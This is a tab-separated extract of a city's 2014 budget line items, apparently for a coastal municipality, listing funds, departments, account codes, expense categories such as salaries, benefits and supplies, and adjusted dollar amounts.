10822	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	59487.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	59487.0
10823	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	408.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	408.0
10824	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	934.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	934.0
10825	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
10826	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	835.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	835.0
10827	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	10744.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10744.0
10828	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	104.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	104.0
10829	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	3476.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3476.0
10830	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	209.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	209.0
10831	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	1189.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1189.0
10832	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
10833	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	169144.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	169144.0
10834	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	597.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	597.0
10835	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	1225.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1225.0
10836	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	650.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	650.0
10837	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	5317.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5317.0
10838	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1634.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1634.0
10839	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	201952.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	201952.0
10840	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	19081.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19081.0
10841	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	7875.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7875.0
10842	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		DCAP	804.0	Salaries and Wages	2014	528.0	0	0	0	0.0	0	0.0	72	0	0	0	0.0	600.0
10843	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566960.0	PRISONER RETENTION & TRANSPORT	806.0	 Supplies and Expenses	2014	153750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	153750.0
10844	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511490.0	OVERTIME	804.0	Salaries and Wages	2014	1574.0	0	0	0	0.0	0	29.0	0	0	0	0	0.0	1603.0
10845	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511749.0	VISION	804.0	Salaries and Wages	2014	1381.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1381.0
10846	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		UNEMPLOYMENT	804.0	Salaries and Wages	2014	4889.0	0	0	0	0.0	57	0.0	0	0	0	0	0.0	4946.0
10847	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		EAP	804.0	Salaries and Wages	2014	1040.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1040.0
10848	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	20487.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20487.0
10849	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2014	10549.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10549.0
10850	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	6167.0	0	0	0	0.0	46	0.0	0	0	0	0	0.0	6213.0
10851	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	555030.0	EMPLOYEE MEDICAL EXAMS	804.0	 Supplies and Expenses	2014	114904.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	114904.0
10852	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511748.0	DENTAL	804.0	Salaries and Wages	2014	11536.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11536.0
10853	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511749.0	VISION	804.0	Salaries and Wages	2014	1372.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1372.0
10854	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	566640.0	STATE RECYCLING PROGRAM	808.0	 Supplies and Expenses	2014	67659.25	0	0	0	0.0	0	0.0	0	0	0	0	0.0	67659.25
10855	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	1538.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1538.0
10856	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2014	291338.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	291338.0
10857	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511749.0	VISION	816.0	Salaries and Wages	2014	2502.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2502.0
10858	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		UNEMPLOYMENT	816.0	Salaries and Wages	2014	10833.0	0	0	0	0.0	138	0.0	0	0	0	0	0.0	10971.0
10859	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402160.0	AIRPORT - MISCELLANEOUS REV	662.0	Other	2014	-2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2500.0
10860	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402163.0	PARKING RECEIPTS	662.0	Other	2014	-46100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-46100.0
10861	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	30081.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30081.0
10862	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	3476.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3476.0
10863	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	32383.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	32383.0
10864	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	1316.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1316.0
10865	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	408000.0	INTERFUND SERVICES	650.0	Charges for Service	2014	-162285.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-162285.0
10866	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561700.0	TEMP RELOCATION FOOD PROVIDERS		 Supplies and Expenses	2014	12306.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12306.0
10867	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	6928.0	0	0	0	0.0	58	0.0	0	0	0	0	0.0	6986.0
10868	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	74306.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	74306.0
10869	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	22347.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22347.0
10870	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	12250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12250.0
10871	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	251251.0	0	0	0	0.0	3900	0.0	0	0	0	0	0.0	255151.0
10872	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	122291.0	0	0	0	0.0	2187	0.0	16174	0	0	0	0.0	140652.0
10873	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		UNEMPLOYMENT	804.0	Salaries and Wages	2014	3470.0	0	0	0	0.0	43	0.0	416	0	0	0	0.0	3929.0
10874	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	5839.0	0	0	0	0.0	69	0.0	654	0	0	0	0.0	6562.0
10875	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
10876	B1	IS	55	Info Tech Rplcmnt & Svcs Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	402660.0	FUTURE REPLACEMENT	650.0	Charges for Service	2014	-1625313.0	0	0	0	0.0	0	98673.0	0	0	0	0	0.0	-1526640.0
10877	B1	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577040.0	AUDIT FEES	808.0	 Supplies and Expenses	2014	3500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3500.0
10878	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	79.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	79.0
10879	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		DCAP	804.0	Salaries and Wages	2014	708.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	708.0
10880	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	7767.0	0	0	0	0.0	90	0.0	0	0	0	0	0.0	7857.0
10881	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	71400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	71400.0
10882	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511748.0	DENTAL	804.0	Salaries and Wages	2014	4234.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4234.0
10883	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522950.0	CNG FUEL		 Supplies and Expenses	2014	4130.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4130.0
10884	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	577050.0	PROPERTY TAXES		 Supplies and Expenses	2014	9186.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9186.0
10885	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	20464.0	0	0	0	-1539.0	269	66.0	0	0	0	0	0.0	19260.0
10886	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		UNEMPLOYMENT	804.0	Salaries and Wages	2014	6758.0	0	0	0	-531.0	93	22.0	0	0	0	0	0.0	6342.0
10887	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	15301.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15301.0
10888	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	3600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3600.0
10889	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	544340.0	INDIRECT COST ALLOCATION	804.0	 Supplies and Expenses	2014	309583.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	309583.0
10890	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4000.0
10891	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
10892	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	11650.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11650.0
10893	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511490.0	OVERTIME	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	4.0	0	0	0	0	0.0	4.0
10894	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	5468.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5468.0
10895	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522620.0	RENT	808.0	 Supplies and Expenses	2014	107108.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	107108.0
10896	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	10430.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10430.0
10897	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	560010.0	SCADA O & M	804.0	 Supplies and Expenses	2014	54336.88	0	0	0	0.0	0	0.0	0	0	0	0	0.0	54336.88
10898	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	560010.0	SCADA O & M	844.0	 Supplies and Expenses	2014	62617.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	62617.0
10899	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	700.0
10900	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	14140.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14140.0
10901	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2014	14825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14825.0
10902	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	39538.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	39538.0
10903	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	901.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	901.0
10904	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	420.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	420.0
10905	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	856.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	856.0
10906	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	566120.0	EMPLOYEE SERVICE AWARDS	804.0	 Supplies and Expenses	2014	39500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	39500.0
10907	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	661	WASTEWATER	405490.0	PARCEL TAX ASSESSMENT	606.0	Other Local Taxes	2014	-3011040.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3011040.0
10908	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588500.0	MISCELLANEOUS EQUIPMENT	808.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
10909	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577704.0	PROP A REIMB-BUS STOP/SHELTER		 Supplies and Expenses	2014	-65000.0	0	0	5000	0.0	0	0.0	0	0	0	0	0.0	-60000.0
10910	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	16451.0	0	0	0	0.0	218	0.0	0	0	0	0	0.0	16669.0
10911	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577704.0	PROP A REIMB-BUS STOP/SHELTER	910.0	 Supplies and Expenses	2014	65000.0	0	0	-5000	0.0	0	0.0	0	0	0	0	0.0	60000.0
10912	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402120.0	AIRPORT - OFFICE / SHOP RENTAL	650.0	Charges for Service	2014	-1826174.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1826174.0
10913	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2014	98928.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	98928.0
10914	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511748.0	DENTAL		Salaries and Wages	2014	5898.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5898.0
10915	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511774.0	RETIREMENT - AS NEEDED		Salaries and Wages	2014	2166.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2166.0
10916	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2014	111523.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	111523.0
10917	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522930.0	VEHICLES - TIRES / TUBES		 Supplies and Expenses	2014	627.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	627.0
10918	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2014	50952.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50952.0
10919	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2014	6587.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6587.0
10920	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	577220.0	INTRST EXP-BONDS & OTHR LOANS		 Supplies and Expenses	2014	530170.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	530170.0
10921	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	588200.0	BLDG RENOVATION / MAINTENANCE		 Supplies and Expenses	2014	62730.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	62730.0
10922	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511749.0	VISION	804.0	Salaries and Wages	2014	2075.0	0	0	0	-162.0	0	0.0	0	0	0	0	0.0	1913.0
10923	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DCAP	804.0	Salaries and Wages	2014	1068.0	0	0	0	-84.0	0	0.0	0	0	0	0	0.0	984.0
10924	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	9674.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9674.0
10925	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407910.0	CAP GRNTS - PRP 1B SECURITY	657.0	Capital Grants	2014	-516483.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-516483.0
10926	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	408000.0	INTERFUND SERVICES-ST MAINTENA	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	-155000	0	0	0	0.0	-155000.0
10927	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		EAP	806.0	Salaries and Wages	2014	8738.0	0	0	0	0.0	0	42.0	0	0	0	0	0.0	8780.0
10928	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	4410.0	0	0	0	2619.0	487	0.0	0	0	0	0	0.0	7516.0
10929	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		EAP	806.0	Salaries and Wages	2014	1353.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1353.0
10930	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		UNEMPLOYMENT	808.0	Salaries and Wages	2014	1983.0	0	0	0	0.0	28	74.78	0	0	0	0	0.0	2085.78
10931	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	5981.0	0	0	0	0.0	35	0.0	0	0	0	0	0.0	6016.0
10932	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2014	1762.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1762.0
10933	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	3216.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3216.0
10934	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2014	1879.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1879.0
10935	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	8823.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8823.0
10936	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		DCAP	808.0	Salaries and Wages	2014	492.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	492.0
10937	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511749.0	VISION	840.0	Salaries and Wages	2014	816.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	816.0
10938	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	12128.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12128.0
10939	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511749.0	VISION	840.0	Salaries and Wages	2014	964.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	964.0
10940	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	444094.0	0	0	0	0.0	0	0.0	0	0	6566	0	0.0	450660.0
10941	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2014	219.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	219.0
10942	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	577850.0	CONTINGENCY	804.0	 Supplies and Expenses	2014	104725.46	0	0	0	0.0	-35000	30000.0	0	-5000	0	0	-39000.0	55725.46
10943	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2014	14288.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14288.0
10944	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578920.0	PROP A-MAINT (NOT LOCAL RETRN)	810.0	 Supplies and Expenses	2014	28260.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28260.0
